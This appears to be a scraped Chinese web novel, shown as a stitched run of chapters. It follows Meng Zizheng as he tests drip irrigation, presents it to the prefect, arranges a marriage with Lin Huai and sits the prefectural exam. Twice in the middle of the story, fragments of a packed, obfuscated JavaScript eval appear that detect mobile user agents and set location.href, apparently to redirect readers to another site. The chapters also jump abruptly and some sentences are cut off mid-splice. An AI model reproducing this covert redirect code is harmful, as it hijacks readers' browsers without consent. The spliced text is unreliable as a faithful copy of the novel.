几个问题都不算长,即使速度放慢了也并没有用上多少时间,解答完问题孟子筝认真道谢后,纪山就让他回去了,还嘱咐他今后还有问题可以下学后来这儿找他。 孟子筝感谢地应是。 犹豫片刻还是离开了,直接这么问老师讲课为什么这么慢果然还是感觉很奇怪。 此时天已经黑了,饿了半天的孟子筝快步往他们的伙房赶,有些担心会不会已经关门了。 若不是讲究礼仪,他现在已经跑起来了,他的跑步速度就是在初高中中午下课的时候练起来的。 “诶诶,孟子筝。” 他正走在路上,就被一个看着脸熟的人拦住了,他思考了两秒才犹豫的开口,“乔兴兆?”这人和原主关系不怎么好啊,怎么突然叫住他。 果然他话音刚落,对方脸上就露出了讥讽的味道,“听说你要找个男妻,是真的吗?” 孟子筝神色漠然的回应道:“嗯。” “哧,你那个男夫人正在县学门外等你呢。” 笑的跟个恶毒反派似的,孟子筝看着对面笑的人仰马翻的人一整无语,“你先别笑了。” 这话一出乔兴兆也愣了,嘴角的笑容还没来得及收回去,干巴巴的浮在脸上。 “你有夫人吗你就笑。” 见到对方的笑容僵硬住了,孟子筝就开心了,他又翘起嘴角补了一句,“我们成亲的时候记得来随礼。” 说完拍拍乔兴兆的肩膀,就愉快地转身向县学门口跑去了。 孟子筝一路哼着小曲,溜达着就走到了门口,发现还真是林淮来找他了。 穿着身白色的广袖长袍,腰间系了一细细的腰带,多出来一截的自然垂下,虽说是普通白布,但时尚的完成度果然看脸。 这肩宽腰细的,在配上端正的五官简直贵气十足。 对方一见着他出来,原本严肃的表情融化了,略微狭长的眼睛也浮现出笑意,提着个盒子向他迎过来。 “孟公子。” “想到你学习辛苦,所以给你送点吃的来。”林淮右手微微上举,表明自己的来意。 眨眼孟子筝就忽略掉了刚刚还在感叹的颜值,对着林淮提来的食盒两眼发光,真是瞌睡来了有人送枕头,他快饿死了。 “来来来!进来。”他一把接过食盒,将人拽进县学。 他们是允许外人进来的,不过要去门口大哥那儿记录一下,再拿个出入木牌。 不过他的脸整个县学的人都认识,那大哥摆摆手就让他们进去了。 带着林淮来到伙房,果然做饭的大娘早就走了,不过反正有人送饭了,孟子筝也不在意。 两人找了一出角落坐下。 孟子筝也没心思再寒暄两句了,立马就打开了食盒。 食盒里的居然还是精米饭,也就是白米饭,他们伙房提供的主食也多是糙米呢。 配的两道家常小炒也是有肉有菜的,看起来油水可不少,想起林淮的家庭环境,连给父亲治病都是自己忍辱负重当男妻才换来的银子,居然还给他这个名义上的未婚夫婿送这么好的吃的。 孟子筝感动了,打定主意若是对方有了心上人,一定立刻写和离书让人走,再给对方补偿一些银子,让他重办一场风风光光的亲事。< 7. 第 7 章 《震惊!工部尚书变成六部之首了》全本免费阅读 柔韧的几根小草交缠在一起,上面随性的点缀了几朵或粉或白的小花,不够精致但另有巧思。 这孟子筝倒是越了解和调查到的越不一样。 “谢谢,我很喜欢。”说着垂下手,小花环便被滑落的袖子挡住了。 孟子筝将人送出正门口,县学里的钟声就悠悠敲响了,这是提醒他们该回房间了。 毕竟灯油也不便宜。 “那我就不远送了啊。”他冲着林淮挥挥手,就往回走了。 回到寝室时,向扬已经在寝室了,正开着窗户,接着窗外的月光看书。 孟子筝拿过自己的灯油,倒在了对方灯盏里,顺手给人点上放在了向扬旁边,“别看坏了眼睛,还是点着灯吧。” 对方像是没想到自己的举动,放下书愣了一会儿才转身说:“谢谢。” 说完又低下头去接着看书,没一会儿又站了起来,走到了角落摆放箱子的地方。 他俯下身把箱子打开翻找了一会儿,随后拿出几本书,向他走过来。 向扬不自在地摩挲着握在手里的几本书,“那个,这些书是我早已背完的,里面有些我自己的注释,你若是不嫌弃你可以看看。” 说完就向他递过来,这下轮到孟子筝发愣。 他赶忙接过,“不嫌弃,当真是谢谢你了,向兄。” “无妨。”向扬摆摆手,便回到了方才坐的地方。 孟子筝翻开对方借给自己的书。 这哪是一些注释啊,都快写满了,而且同那些名人大家选择性注解并不相同,普通考生的注释是非常全面的。 就跟学霸笔记似的,大儒和学生的思维肯定不同。 本来想先睡一觉,明天再开始卷的孟子筝取消今晚的提前睡觉计划,也给自己点上了油灯,捧着方才向扬给自己的书看了起来。 接下去几天,他跟向扬可以说是起早贪黑,起得比鸡早,睡得比狗晚。 白白净净的脸上,多了两个乌青的黑眼圈,连向扬都跟着他熬成熊猫眼了。 “向兄,孟兄,你们俩看起来气色不太好啊。”与他们同班的人指着他们的脸,忧郁地问道。 “多谢关心,我没事。”向扬客气的回应。 孟子筝幽幽的凑近,“快要考试了,你睡得着吗?” “额,孟兄教训的是。” 就这么一个带一个的,十分有学习氛围的环境下,时间也是过的飞快。 转眼就到了休沐日。 每回休沐,为了方便村里的学生回家,休沐前一天都会早些下学。 孟子筝跟纪山打了个招呼才离开,毕竟这几天他时不时就要去烦一烦对方。 书箱实在是有些沉,还有点勒肩膀,回去得让孟远去买两块硬点儿的布整个书包背背。 孟子筝一个劲调整着背带,怎么动怎么不舒坦。 一路晃晃悠悠,刚看见他们家大门,就听见孟远隔着老远开始大喊:“老爷!少爷回来了。” 喊着喊着还哎哟了一声,也不知道是不是摔了,孟子筝忍俊不禁,怎么跟个活宝似的。 孟子筝溜达着进大门时,发现孟梁已经滋着牙在等着他了,还穿着深绿色的官服,应该是刚从衙门回来。 都不用问,他一看他爹这个表情就知道事儿肯定成了,顺手把书箱递给孟远,“爹,走吗?我们去你找的田里看看。” “走走走。”孟梁赶紧吆呼着准备马车。 这半个月以来,他一直派人盯着,传回来的话是长势很好不必担心,可没能亲眼看着那敢放心啊,虽说是相信子筝的,但心里还是难免忐忑。 直到昨儿想着孩子要休沐了,他才提前去探探情况。 虽说他不会做菜,但长得好不好还是看的出来的,黄色的土地上,一颗颗青绿的白菜,鲜嫩的好像随随便便都能掐出水来。 白菜选的是已经开始成团的,但毕竟人家已经种到这个地步了,要是直接拔掉重新栽种可就是浪费粮食了。 况且按照张喜夫妇的说法,白菜成团后虽说对水分的需求降低了,但缺水也是万万不可的,这半月他们也是完全按照张喜夫妇日常浇水量减了一半不止来浇得水。 说是白菜后期水浇多了容易生虫,如果这方法确实能减少用水还是要少浇些为好。 忐忑到现在,好在算是成功。 马车上,孟梁将这些天关于滴灌的情况都同孟子筝详细讲述了之后,又提起了水仓的建造。 说着他就不太好意思的挠挠头发,“那个水仓我们做了个小的,可是好像还是有些漏水。 “没事,一会儿我去看看。” 因为不用在同其他村民沟通,于是马夫驾车直接到了张喜夫妇的院门口。 孟子筝先下了马车,这给他颠的,他站在地上跳了几下,伸手将孟梁也扶下来。 院子里的人,闻声出来,“哎哟,县令大人。”张喜激动的说道。 “这位是?”她一脸笑意地看着孟子筝。 “这是我儿,我们现在试的这个滴灌就是他想出来的。”孟梁揽过孟子筝,骄傲的说道。 “哎哟那可真聪明,长得也俊俏,以后肯定有大出息!”张喜小麦色的脸上满是淳朴的笑意,夸奖也听得出十分真心实意。 “这方法我们以前可从来没听说过,一开始大家都不相信呢。” “结果眼看着真行,现在啊,天天就在我们地里头围着看,用这法子我们旱地里不知道要少挑多少水。”她乐乐呵呵说道着。 县令不仅给了他们一笔银子,还说等这些菜种出来之后他们只留一小部分,剩下的依旧由他们自己处理,一下子家里明年的压力就少了不少。 张喜引着几人去到地里,向高正正在不远处浇水,见到他们,急忙放下桶过来。 地里白菜的长势果然如他爹说的那样喜人,完全看不见菜叶泛黄等现象。 孟子筝检查了地里铺设的设备,并没有什么大问题。 由于选的这块地十分规整,宽度差不多刚好是竹子的长度,一根根翠绿色的竹子横向排开,反而像是一道别致的风景一般。 “带我看看你们挖的水仓吧,这儿没什么问题。”孟子筝巡视着走了一遍地,非常淡然地继续说道。 悄悄瞥见张喜夫妇佩服的目光,心里乐开了花。 水仓也是顺便在他们家地里挖的,很小的一个,看得出只是想先试试。 不大的方形水坑里,只剩下薄薄一层水,还混着泥沙。 确实漏水。 “这个是谁挖的,把详细过程跟我说一遍。” 他说完,孟梁身后就有个穿着衙役服饰的人站了出来,人高马大的,侧脸还有道刀疤,看起来力气就很大。 < 8. 第 8 章 《震惊!工部尚书变成六部之首了》全本免费阅读 “向扬?”孟子筝猛地站起来。 对方见到他在这儿也十分讶异的模样。 向扬向高正,原来他就是张喜夫妇那个正在读书的孩子。 屋子里坐着的张喜看见孩子回来也是十分开心,正想迎上去,就听见孟子筝叫了向扬的名字,也是震惊的愣在原地,“大福,你跟孟少爷?认识?”她不太敢相信的问道。 “张大娘,我和向扬是同窗。我们还住一个学舍。”看向扬还在状况外的样子,孟子筝所幸先解释了。“大福?是你小名啊。” “啊对,小时候脸很圆,娘说我今后定有福气,就给我取了这名。”向扬这时也反应过来,孟子筝竟然过来必定是有事,提步跨了进来。 “快快,这是县令大人。”张喜这才反应过来,急忙提醒到。 向扬一听,掀了衣袍就跪下来,“草民拜见县令大人。” “哎哟快起来,这不是在衙门里,不必如此。”孟梁站起来将人扶起,“你既然与筝儿是同窗,大可喊我一声伯父。”他笑呵呵的拍拍向扬的肩膀。 虽说县令这么说了,可毕竟还是官,向扬嘴巴微动,还是没发出声音。 这时孟子筝也凑了过来,“没事的大福,叫吧我爹可好了。他是真脾气好,不是装的。” 这话一出,孟梁带头,屋里的人都笑开了,“你这个皮猴子。”他指指孟子筝的鼻尖,脸上都是笑意。 “伯父好。”向扬这才叫出口。 “诶,坐下说。”孟梁示意几人都坐下说话。 坐下后,张喜简短的将这半月的事儿说了说,边说还边夸他和他爹,愣是给他夸不好意思了,手心都开始冒汗了。 说完之后,向扬又带着感激的眼神看向他跟他爹,孟子筝心里的警铃一下就想了,这是又要下跪啊。 他一个箭步就冲到了向扬旁边站着,手放在对方肩膀上,微微用力。 虽说他爹确实帮了忙,可说到底这就是互惠互利的关系。 向扬察觉到孟子筝的用意,眼中的感激之情更浓了。 他爹娘今年一直为这事儿发愁,他自是知道的,可他每月要上学,半点忙都帮不上,每次回来他爹娘都只能对他强颜欢笑,让他不必担心,明年的束脩他们一定给他交上。 这次多亏了县令大人和子筝才得以解决此事。 他没再下跪,可还是站起来,双手置于前胸,恭恭敬敬行了个作揖礼,“多谢县令大人和孟兄这次解了我家燃眉之急。” “是你家解了我们的燃眉之急才是,如今北方已多日不下雨,就是我们这儿也许就不见雨水了,你爹娘答应我们借用他们的地,已是帮了我们大忙,不然还要耽误许久才能将此事往上报了。”孟梁摆摆手。 接下来就是一番互相谦让的剧情,孟子筝看的没劲,移动回了他之前的位置,在身上掏了掏,找出了块碎银,悄无声息的被他放在了向家的桌子上。 用了人家的东西还是得付钱,他没有随身带银两的习惯,因此这块碎银也不多,但至少一块劣等的墨条还是买得起的。 等几人聊完,天色也不早了,孟梁便带着孟子筝回了府。 “哎呀,上任这么久了,也没几次像今天这么有面子。”孟梁牵住出来迎接的宋玉珍的手,大笑着说道。 宋玉珍笑着瞪了眼孟梁,“这还不是咱儿子给你挣出来的。” “是,夫人说的都对,去备上酒菜,今晚我们好好吃一顿。” “哼,我看你是想喝酒了。” 孟子筝背着手在孟父孟母后面溜达着看他们宛如遗忘掉自己一般的谈情说爱。 哎说好的骄傲呢,还是不值一提了。 第二天孟子筝难得睡了个自然醒,偶尔一次休息还是必要的。 一醒来,他就先将水仓的注意事项重新写了一份儿交给了孟梁,以便不时之需。 不然等他回县学了再问的话,一来一回也挺麻烦的。 之后他没啥事儿,就在书房窝着老老实实的背书。 不过和上次休沐比,他高兴了不少,自从他分好重难点,将要背的内容按照重要程度、难易程度区分好之后,就清晰了不少。 每日都能感觉自己离目的更近了些,他后来还将易混杂的知识点也重新分了一类,定时复习,对于他记得比较熟的类型,则是放在一边,他累的时候随意翻一翻,便能轻松的复习一些。 孟子筝坐姿不端的靠在椅背上,两条腿搭拉在一边的扶手上晃悠,舒舒服服的背着书。 就听见孟远的声音伴随着急促的脚步声过来了。 他急忙放下腿坐好,刚刚的姿势对原主来说还是太超前了。 “少爷,老爷让你去前厅找他。”孟远过来禀报。 等他站起来,又小声说,“好像是你的未婚妻、夫来了。” “林淮?” “行我知道了,我换个衣服就去。”孟子筝望着在自己扭捏的坐姿下歪七扭八的衣服,决定还是换换吧,这身去也太不拿林淮当外人了。 孟远退出去后,孟子筝就飞快的换了身淡青色的常服,腰间系了一玉佩,同色系的发带垂于脑后,确认自己应该挺好看之后,他才快步走向前厅。 一见着孟子筝,孟梁就知道他肯定是特意打扮了一番,孟梁暗自点头,知道在乎形象了。 “筝儿啊,叫你来是想商量一下婚事。” “啊?婚、婚事?”孟子筝原本刚坐上去的半个屁股又抬起来了,“这么突然吗?” 宋玉珍小步过来,坐在孟子筝身边,将他的发带放回身后,“这哪儿突然啊,这都一个月过去了,明年二月你可就要考试了。” “我们这提前订下,还得确定时间、聘礼、邀请友人,还有许多事儿呢。” “所以我们想啊,就趁着你年底休沐那几天把婚事儿办了,也不耽误你上学和考试。” 啊这么温柔的嘴里,怎么说出这么冰冷的话。 上辈子就没想过自己会成亲,没想到这辈子英年早婚了! 孟子筝悄悄瞥眼望向林淮,今日林淮看起来也特意打扮过,甚至带上了发冠。 啊?那他岂不是都弱冠的年纪了,自己还是个未成年呢,抓起来!孟子筝盯着林淮在心里暗戳戳的想。 可惜现代法律保护不了他。 不过这个林淮怎么一直笑,他都要成男妻,就没点儿遗憾吗?孟子筝继续盯着林淮看。 直到孟父几声咳嗽,他一个激灵这才移开视线。 宋玉珍翘着嘴角,戳了下孟子筝的额头,“不知羞。“< 9. 第 9 章 《震惊!工部尚书变成六部之首了》全本免费阅读 放假的时间总是非常短暂,第二天一大早孟子筝又回到了县学,这次回来向扬对他明显热情了许多。 休沐之前虽然二人关系已经亲近了些,但基本也只限于一同在晚上卷学习,这次回来,向扬居然主动提出如果有什么不好理解的可以问他。 于是乎孟子筝也把自己做的背书顺序清单给了一份儿给向扬,顺便把自己研究的一些出题、阅卷的倾向也跟他说了,具体用不用就看他自己了。 不过向扬基础可比他牢固多,和他这种填鸭试背书的情况完全不一样,所以这些也不一定能派上用场,只是表明一下友好的态度。 效果也是显著的,最明显的就是他多了个饭搭子。 偶尔也能聊聊天,减轻一下学习压力。 孟子筝在县学里平稳的进步着,他爹就忙活坏了。 孩子休沐回县学当天,孟梁就跟县丞安排好了日常事务的处理,若是有难以解决的,可以写信或者暂时压下去,等他回来再处理。 然后拿上他早已写好的给宋玉明的信坐上马车就直奔府城了。 他们县离府城说不上近,马车得坐整整一天,因为赶时间,中途也没怎么休息,到府城的时候,孟梁腰都快被颠断了。 天早已黑了,没办法只能在府城外的驿站住了一晚,第二天一早才进的城。 孟梁在前往府衙的途中,还不由庆幸,幸好知府同安志一样,在朝廷中同属于中立派,从不站队,否则一个禁止越级上报的条例压着,想快些报上去还真是个大问题。 到了府衙门口,等人汇报期间,孟梁打发了几人去砍竹子,毕竟路途遥远,木台可以随身携带,随处可见的绿竹就没这个必要了。 “孟大人,进来吧。” 一位着黑衣的侍从引着几人进到府衙内。 他们作为地方官员没什么事儿不能随意离开自己的任职地,所以他还是当初刚到任职地时见过知府大人一面。 进到后院,知府并未穿着官服,微胖的身材,背着手站在门口迎接。 “徳峰县县令孟梁,拜见知府大人。” “诶哈哈孟大人客气了,先进屋坐吧。”杨修伸出手引向屋内。 两人大步进到屋内,孟梁带来的衙役则被侍从拦在门口,屋内只留了两个添茶水的丫鬟。 “孟大人这次前来找我何事啊,擅离职守可是要扣月俸的。”杨修开玩笑地说道。 孟梁沉思片刻还是站起身再次行了一礼,“杨大人,这次实在紧急,我思来想去,写信或者交给别人都难以放心,只能冒昧前来。” “孟大人不必多礼,先说是何事吧。” 见杨修示意自己坐下,他又重新坐下,说道:“不瞒杨大人,小儿做了个东西,是用在田里浇水用的,他将那物称作滴灌。做起来也十分方便低廉,仅需要竹子和普通木工即可。” “可用此物浇水,却可以减少近半数的浇水量。” “此话当真!”杨修猛地站起来,声音都不自觉提高,“这可不能说笑啊孟大人。” 杨修一站起来,孟梁也不得不再次站起来说话,“杨大人,在下哪敢用这等要事开玩笑,如今北方迟迟没点儿雨水,这方法若是能尽快给那边用上,多少能起些作用。” “若是真的这可是利国利民的大好事啊。” “可并非我不相信你,只是这事一但报上去可就没有回旋的余地了。令郎想必年纪尚小,他说的话是不是有夸大的可能?”这话当着一个父亲的面说,实在得罪人,可不说又不行。 若是报上去之后发现有虚传,孟梁和他得一起完蛋。 原以为孟梁至少脸色会变难看,谁想到他毫无生气的迹象,而且看得出虽然在极力控制,但嘴角还是止不住的往上扬。 “杨大人多虑了,小儿刚将此事告诉我,就叮嘱了我先找块地试试,确定是不是真的能成。” 像是知道他要问什么,孟梁紧跟着就说道:“已经试过了,我们找了半亩菜田,按照比一半还少的水浇的,半月过去,和正常浇水长大的菜别无二致,我这次来还带了一兜呢。” 孟梁招招手,衙役就从随身携带的行李里拿出了一颗白菜,还未完全长成,不过一天奔波下来,菜叶也没蔫掉,水灵灵的向刚从地里摘出来。 “这便是用了此法子浇水半个月的结果,按理说还应该再多等些时日,可我们等得及,百姓等不及啊,我思来想去还是提前来了。” 杨修接过水灵灵的小白菜,眼底都泛起泪光。 刚做官时,都想为国为民多做些事,可在一个地方呆久了,光是让自己不贪就已经很难做到了,反而真正的实事没做几件。 如果这事儿这能成,也算得上他任职这么些年干的最好的一件事儿了。 而且说不准还能借这次光升官,他都有些忘了自己是什么时候来这儿的了。 “快,带我看看那物。”他放下白菜,急切的说道。 正好孟梁叫去砍竹子的衙役已经回来了,此时正在院子里钻孔。 这次尝试,大部分的工作全由他们自己人完成的,所以这孔打孔技术也是被他们练出来了,如今是想打多大就能打多大。 见到县令和知府出来,也加快了手中的动作。 杨修此刻也半点不见知府的威严了,围着打孔的衙役跟看热闹似东看看西看看。 见到他们停下手里的动作,他赶紧说道:“快快快这个怎么用,让我看看。” 几个衙役将从徳峰县带来的木台拿出来架上竹管,“好了大人,灌上水就能用了。” “去,打一桶水来。” 仆从将水提过来,几人接过就用漏斗将水灌了进去,用油纸封好便能用了。 看着水滴下来的瞬间,杨修大概也明白了这个滴灌的用法,这样的法子以前居然无人想到过,看来这孟梁的儿子确实是有些实力的。 不但聪明,还有个在京里当官的舅舅,以后怕是要青云直上了。 杨修想着,对孟梁的热情更深了几分,“这法子好啊,竹子我大齐各处都有,随地取用便可,木台看着构造也简单。”他大笑几声。 “这木台还别有洞天呢。”孟梁也不在意什么形象,直接就蹲下了,他将竹管先放到地上,将木台举起来,指着中间空着的地方说:“杨大人请看,此处可以放碗或者陶罐。” 他说着将木台的最下方的几层隔板拆开,指着他们,“若是管内有多余的水,还能将一处垫高,水自然顺流而下流入放好的陶罐中去。此外,这几层隔板调整高度,使竹管在一些不平整的地面也能保持平衡。” “好啊,没想到令郎竟然如此聪慧,考虑事情十分全面,将来必定有大出息。” 自己儿子得了夸奖,孟梁自然乐的合不拢嘴。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12760372|134748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下坐着的推车就动了起来,“哎哟!” 短暂的受惊了一瞬,陈荣回过神,发现自己在被林淮推着在院子里转,走的十分平稳,路上偶尔有个小石子也没什么影响。 “这是何物啊?” 林淮推着他停回原地。 “村长,我们叫它轮椅,它不仅能被人推着走,还能自己走呢。” 待孟子筝说完,他按照对方的说法用了一下,发现真的可以,“哎哟!好东西啊!” 说完,他语气放缓,“孟公子,这个想必很贵吧,我不能收,您已经给了我们很多了,村里那些小孩儿过年都吃不到这么多新鲜玩意儿。” “无事,算不上贵,图纸也是公开的,你们若是有合适的木匠,可以去德峰县找徐忠徐木匠,自己做也行的。” “这辆村长您就收下吧。” 孟子筝说完,林淮也在一边劝了几句,这二人真是陈家村的贵人啊,陈荣满是皱纹的眼角,险些流出些泪来。 这林公子看上去同孟小公子感情确实好,今天一大早还拉着林又想学做饭,折腾一早上才做出碗白粥。 希望他们都能早日得偿所愿。 拗不过两人的接连相劝,他还是收下了这辆轮椅,最后出门时,也没靠着个拐杖颤巍巍的走路,直接坐在轮椅上,林又便推着他先行离开了。 目送两人离开,孟子筝才想起手里已经温了的白粥,正准备吃,手里的粥就被换了一碗。 “吃热的。” 孟子筝手里拿着勺子姿势还没变,就放进了新的一碗里。 太贴心了!孟子筝感激的望了一眼林淮,很给面子的吃了一大口,随即表情就凝固了。 怎么感觉有点儿糊味儿。 “怎么了?”林淮关切的问道。 “好像有点儿糊。” “啊,熬粥的时候,走了一会神,抱歉啊子筝。” 居然这么明显吗?这已经是他一早上最完美的一锅了,林淮清心下叹气。 “子筝你要不别吃了,吃点儿糕点算了。”说着他就想把孟子筝手里还端着的碗拿过来。 哪能让他梅开二度,孟子筝一个后退,就避开了对方的手,“没啥大事儿,不影响。”他边大口喝着碗里粥,边含含糊糊的说着。 勺也没要,就一口气干了。 “舒服。”孟子筝不太熟练的摸进厨房,将碗洗了,林家都是用冷水洗碗,就洗个碗的功夫,手都通红,太冰的水跟开水似的,整个手从骨头就开始疼了。 “怎么不加些热水。” 林淮取出随身带着的手帕将他的手擦干。 “没那么娇气,就洗个碗,走吧。” 说着他就拉着林淮往陈良家走去。 一进陈良的院子,他都觉得怕是半个村子的人都来了,人挤人的围着站了一个院子。 幸好他对这种灼热的视线已经习惯了,其实大家在心里膜拜他就好了。 一不小心又收获了这么多老迷爷、老迷奶、老迷姨、老迷叔。 孟子筝检查了一下木台子,确定没问题后便让陈荣带着他们去到地里了。 随着林又推着陈荣的轮椅往外走,周围的视线又炙热了几分。 25. 第 25 章 孟子筝一脸淡然的跟在陈荣身后走,尽量无视掉身后人的视线,他总不能一人送一辆,首先累死的就是徐师傅,而且他也不是什么冤大头。 更何况,他和他爹还没钱,现在他们家有钱的只有林淮和他娘。 小孟心里苦啊,忙忙碌碌半年,还在靠他娘给的零花钱活着,幸好他也没啥要买的。 工具做好之后,虽说做不到现代那样全自动化,但也是个半自动了。 看着水珠从竹管上的一个个小孔里流出,“成了,就这么放着就成,你们按照往常浇水的水量减一半,若是遇到浇水一多就会烂根的可以再少灌一些。” “这些方面,你们肯定都比我懂得多,我就不在这儿班门弄斧了。” 确定大家对步骤都知晓后,孟子筝弹弹衣摆,便和林淮先回了林家。 “你还要在这儿呆吗?”早上喝的那碗粥老早就消化完了,饿的有些恶心,他拿起一边摆着的糕点填填肚子。 林淮摇摇头,“子筝,我们一同回去吧。” “不多陪陪父亲?”孟子筝疑惑道。 “还有不到两月,子筝你便要院试了,还是早些回去温书吧。”林淮说着就起身开始收拾东西。 孟子筝也急急跟了上去,“我来帮你。” 若是出发太晚,就无法赶在城门关闭之前回去了,于是两人也没耽误,同林父一起,将昨日下午未吃完的菜随便热了热就解决了午饭。 吃过饭,两人还特意同村长道了别,叫上临时在其他村民家落脚的轿夫一行人,便离开了。 回程时不用在带那么多东西,速度自然是快上不少。 折腾了两天待他们回到家时,虽说依旧到处贴着喜字,挂着红灯笼,可很明显的比他们离开前要冷清很多。 进了院子,宋玉珍迎了上来,“回来啦?” 像是知道他要问什么,宋玉珍直接解释道:“你爹昨日便回府城了,你姑姑他们今早也离开了,说是家里还有孩子,放心不下。” “啊?姑姑也走啦?姑父不会欺负她吧。” 孟子筝有些担心,这个陈正德看起来脾气真的很差,还有种莫名自信的霸道,还大男子主义,还不讲礼貌! 数他的缺点比他数自己的优点都容易。 真不知道,正和德,他到底占了哪一项啊,可惜了这名儿。 “你放心,我不止跟你姑姑说了,还同她身边的丫头也说了,若是受了欺负就立马跟我们传信,你姨妈离她比我们近不少,若是出了什么事,很快就能赶回去。” 回到屋内,宋玉珍顺手解下孟子筝身上的披风,挂在门口的架子上。 “你爹还敲打了陈正德一番,应该无事。” “那就好,娘你放心,等我考的比我爹高了,我也去敲打他。”他仰着下巴一脸傲娇的逗宋玉珍。 “哈哈哈那娘就等着你了。”宋玉珍果不其然笑开了花,“今日也不早了,累了两日,你们早些休息啊。” 说完同林淮笑着点点头,便转身出了屋子,还体贴的帮他们带上了门。 实在累得慌,反正冬天不洗澡就睡觉也是稀松平常的事,孟子筝洗漱了一番便直接钻进被窝了,倒是林淮还特意洗了个澡,真爱干净啊。 接下去的一个月,他学的那是昏天黑地啊,两眼一睁就是背,若不是还有个林淮时不时告诉他日子,他真记不住过到哪一天了。 就连过年去府城也没影响他背书的计划,原本他还可惜这个年代没有烟花,结果赶进度的时候就开始谢恩了,那叫一个安静啊。 纪山监督他学习的这几个月,找出了不少问题,也就导致了临近考试,还有内容没学完。 很庆幸找了纪山来教他,这个家教请的实在太值了。 虽然对方因为自己做的诗沉默了无数次,但改改还是能看的,到他离开前,纪山早已接受自己没这脑子的事实了。 一向不赞同他用取巧的手段参加考试的他,翻出以前他的真题研究本,主动带着他做了一首一首的诗,涉及民生的内容非常多,只能挑出些比较大的板块比如教育、耕作之类的练一练。 唯一可惜的就是,纪山不肯同他们一起去府城,他原本还想劝劝的,可对方说他父母葬在德峰县,若是离远了不方便扫墓尽孝。 他也就只能作罢了。 因为有纪山在,他参加院试的作保之类的问题都没让他担心。 孟子筝正在不知道第多少遍的背手上拿着的经义。 “少爷,向公子来了。”孟远得了命令,最近无事时都嫌少来少爷面前晃悠,生怕影响到他考试。 “向扬来啦。”孟子筝放下手里的书,蹭的一下从椅子上站起来。 正想出去迎接,就见到向扬已经被人引了进来。 “孟兄。”已经认识这么久了,向扬还是十分礼貌的行了拱手礼。 这点倒是和林淮挺像,他们成亲前半个月,林淮几乎天天早上都要去给他娘问安,她娘也不是个每日都按时早起的人,他们俩一块发力劝了好几日才止住了林淮的这个礼数。 “走着大福!带你去房间,早就给你收拾出来了。”孟子筝兴奋的推着向扬往厢房走。 他离开德峰县之前就同向扬说好了,待院试之时,来了府城就来他这儿住,这银子没必要给客栈赚了去。 “还是麻烦你了孟兄。”向扬抱着手里的包裹还是有些不自在的说道。 “你们就是太客气了,我腿受伤时,你帮了我那么多,不过是个住处,我们这儿安静,还方便你准备考试。” 给向扬准备的厢房,离他的房间并不远,若是他们复习时遇上问题还能随时商讨商讨。 院试前三天,他又将自己当初总结的考试重点,将其完完整整背了一遍,确定全部都记住后,考试前一天晚上彻底安下心,很干脆的直接上床睡觉了。 ddl就是这样,到截止日期的时候,总有种死到临头的平静感。 丝毫没有失眠,孟子筝一觉睡到天蒙蒙亮,往日里这个时间连孟远都没起,而此时孟府所有人全都严阵以待地等在了外面,生怕他起晚了,随时准备叫他。 他和向扬要带进贡院的考篮是宋玉筝帮着一起准备的,里面放了水、干粮、笔墨砚之类的必需品。 最后检查了一边,确认没缺东西之后,宋玉筝、孟梁和林淮便陪着他们一起去了贡院门口。 明明是他考试,可家属却成了最紧张的人,他娘就不用说了,一路上生怕他饿了困了生病不舒服了。 就连林淮也紧张了起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接过对方的左手,“可能有点儿疼,你忍一下。”说完孟子筝就对着人家的合谷穴猛猛按了下去,指挥对方闭上眼睛跟着节奏深呼吸。 孟子筝估摸着时间差不多有三分钟了,他悄悄撩开对方一截袖子,然后对着对方的胳膊就铲了一下二条子。 那块皮肤光速红了起来,对方也因为疼痛缩回了手。 对方咻地睁开眼睛捂着胳膊一脸惊恐,“兄台!你!” “是不是好多了?”孟子筝看着对方一点儿没再发抖的腿,颇为得意,虽说手好像还有些抖,不过那好像是因为被他铲的。 疼痛和惊吓真的使人冷静,他最紧张的一次考试是当初初中的中考。 那时候个矮,跳远特别差,每次跳之前都要做很长时间心里准备,生怕丢人,当时他们几个好朋友之间就是靠着铲二条子冷静下来的。 “诶!真的诶,我不抖了。”对方笑起来显得更小了。 “多谢兄台,在下名叫方延!敢问兄台大名。” “孟子筝。”他匆忙回了一句,提醒方延快检查到他了。 两人刚向前挪了一小步,前方便堵住不动了。 “这里面是何物!”前方忽然传出声恶狠狠的质问。 26. 第 26 章 一个陶罐被狠狠摔碎在地上,清澈的水溅出,微微沾湿了前方人的衣角。 穿着青衣的搜检官上前两步,皮靴踢开摔得凌乱的陶罐碎片,这才注意到一个碎片上似乎粘着什么东西。 被检查的考生原本还绷着站在原地,此时已经惊慌的跪下了,整个人抖的跟筛子似的,比方延还严重许多。 他看上去有些年纪了,还是童生,应当是着急了。 此时已经排到前列的考生,都被吸引走了注意力,分分探出头看看发生了什么。 搜检官单单将那一片碎片拿了起来,将粘着的那物扯下,解开缠地紧紧的线,才发现这居然是一小截猪肠,里面装着一小叠纸片。 大概是没太洗干净,迎面吹来的冷风还隐隐带着股腥臊味儿,用手检查的搜检官察觉到是什么,直接将手里的东西砸在了地上,怒吼一声,“压下去!” “大人!大人!我错了大人!”哭喊的声音越来越小。 不过一盏茶的功夫,场上就恢复了安宁,只有一旁碎了满地的陶罐提醒着众人方才发生了些什么。 短短一会儿的功夫就有好几个考生离了队,转眼就轮到他们了。 趁着方延正在检查,孟子筝悄声对身后一直安安静静站着的,被他一时遗忘的向扬,道了声加油,说完他也没回头,方延旁边的人已经检查完了,他急忙走上去。 自打那个夹带小抄的考生被压下去,检查的就更严了,时间也拉长了不少,幸亏他们来得早,不然不知道要排多久。 